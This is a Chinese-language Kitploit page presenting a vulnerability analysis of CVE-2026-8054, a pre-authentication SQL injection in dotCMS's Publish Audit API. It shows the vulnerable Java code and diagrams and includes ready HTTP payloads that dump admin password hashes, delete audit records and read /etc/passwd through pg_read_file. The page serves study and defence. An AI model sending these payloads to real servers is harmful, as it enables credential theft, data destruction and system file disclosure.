Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8054 — dotCMS预认证SQL注入 | Kitploit
工具/GitHubGitHub/mr-xn/cve-2026-8054
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS预认证SQL注入

查看仓库
73个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

1. 漏洞概述

CVE-2026-8054 是一个存在于 dotCMS Core 发布审计 API(Publish Audit API)中的高危前台无需认证 SQL 注入漏洞(Pre-auth SQL Injection)。该漏洞由官方追踪为安全事件 SI-75,并于 2026 年 5 月底被正式收录披露。由于攻击者无需任何账号权限即可远程触发,其潜在危害非常严重。

属性值
CVE编号CVE-2026-8054
官方追踪SI-75
漏洞类型SQL注入 (CWE-89)
影响组件dotCMS Core - Publish Audit API
CVSS评分10.0 (Critical)
受影响版本25.11.04-1 至 26.04.28-02
修复版本26.04.28-03
攻击方式远程未认证SQL注入 (Pre-auth)
所需权限无需认证
用户交互无
LTS版本影响不受影响(审计代码分支未反向移植到LTS树)

2. 漏洞原理详解

2.1 漏洞本质

漏洞存在于 /api/auditPublishing/get 和 /api/auditPublishing/getAll 这两个 REST 接口中。这两个接口在接收客户端输入的请求参数时,未进行任何过滤与参数化绑定,而是直接通过字符串拼接的方式动态构建 SQL 查询语句。

更致命的是,dotCMS 在这几个涉及审计的敏感后端接口上完全漏掉了身份验证与越权检查。这意味着外网任何无凭证的远程攻击者,只要能通过网络访问该系统,就能直接向接口发送带有恶意 Payload 的 HTTP 请求。

2.2 漏洞入口点

文件路径: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

漏洞存在于两个REST API端点:

  • GET /api/auditPublishing/get/{bundleId} - 获取单个发布审计状态
  • POST /api/auditPublishing/getAll - 批量获取发布审计状态

关键问题: 修复前这两个端点不需要任何认证,任何匿名用户都可以直接访问。

@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【漏洞点】没有认证检查!直接调用后端API
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 漏洞核心代码

文件路径: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

方法: getPublishAuditStatuses(List<String> bundleIds) (第224-245行)

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【漏洞点1】直接将用户输入拼接到SQL语句中
        // 仅添加单引号包裹,没有任何参数化或转义处理
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 危险: 字符串拼接
            .collect(Collectors.toList());

        // 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL常量 (SELECT_ALL_BY_BUNDLES_IDS):

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 污点传播路径

graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

污点传播: 用户输入 → REST API → 后端处理 → SQL构造 → 数据库执行 关键缺陷: 无认证 + 无参数化 = 完全可控的SQL注入

2.5 SQL注入原理分析

假设用户输入 bundleIds = ["x' OR '1'='1"]

正常SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

注入后SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

由于 '1'='1' 永远为真,此查询会返回表中所有记录。

graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. 影响危害分析

成功利用该漏洞的攻击者可以以数据库系统用户的上下文执行任意 SQL 命令,从而导致以下严重后果:

graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 敏感数据泄露

攻击者可以通过 SQL 注入拖取核心数据库表,获取:

  • 管理员密码哈希
  • 用户凭证信息
  • 重置 Token
  • 系统配置信息
  • 网站内容数据

示例攻击Payload - 获取管理员密码:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 数据篡改与破坏

攻击者可以任意修改、插入或删除数据库中的:

  • 网站内容
  • 用户角色权限
  • 系统配置
  • 审计日志

示例攻击Payload - 删除审计记录:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 权限提升与远程代码执行

根据后端连接的数据库类型(PostgreSQL、MySQL 等)及配置权限,攻击者可能借由注入点进一步实现:

  • 后台管理员账户接管
  • 文件系统读写(通过数据库函数)
  • 远程代码执行(RCE)

示例攻击Payload - PostgreSQL文件读取:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 攻击面分析

维度评估
攻击向量网络远程 (Network)
攻击复杂度低 (Low)
前置条件无 (None)
用户交互无 (None)
影响范围已变更 (Changed)
机密性影响高 (High)
完整性影响高 (High)
可用性影响高 (High)

4. 漏洞复现步骤

4.1 环境搭建

graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]

使用Docker Compose搭建漏洞环境:

下载工具